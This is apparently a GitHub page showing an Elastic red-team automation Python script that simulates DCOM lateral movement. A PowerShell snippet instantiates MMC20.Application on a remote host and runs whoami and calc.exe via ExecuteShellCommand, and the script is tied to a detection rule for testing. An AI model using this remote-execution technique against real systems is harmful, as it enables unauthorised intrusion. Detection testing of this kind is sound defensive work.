-
Notifications
You must be signed in to change notification settings - Fork 505
/
dcom_lateral_movement_with_mmc.py
53 lines (39 loc) · 1.74 KB
/
dcom_lateral_movement_with_mmc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
# Name: DCOM Lateral Movement with MMC
# RTA: dcom_lateral_movement_with_mmc.py
# ATT&CK: T1175
# Description: Execute a command to simulate lateral movement using Distributed Component Object Model (DCOM) with MMC
import sys
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="7f4cfcf6-881b-48b0-864d-21eba06e57cc",
platforms=["windows"],
endpoint=[],
siem=[{"rule_id": "51ce96fb-9e52-4dad-b0ba-99b54440fc9a", "rule_name": "Incoming DCOM Lateral Movement with MMC"}],
techniques=["T1021"],
)
@common.requires_os(*metadata.platforms)
def main(remote_host=None):
remote_host = remote_host or common.get_ip()
common.log("DCOM Lateral Movement with MMC")
common.log("Attempting to move laterally to {}".format(remote_host))
remote_host = common.get_ipv4_address(remote_host)
common.log("Using IP address {}".format(remote_host))
# Prepare PowerShell command for DCOM lateral movement
ps_command = """
$dcom=[activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','{remote_host}'));
$dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\cmd.exe',$null,'whoami','7');
$dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\calc.exe',$null,$null,'7');
$dcom.quit();
""".format(
remote_host=remote_host
)
command = ["powershell", "-c", ps_command]
# Execute command
common.execute(command, timeout=15, kill=True)
if __name__ == "__main__":
exit(main(*sys.argv[1:]))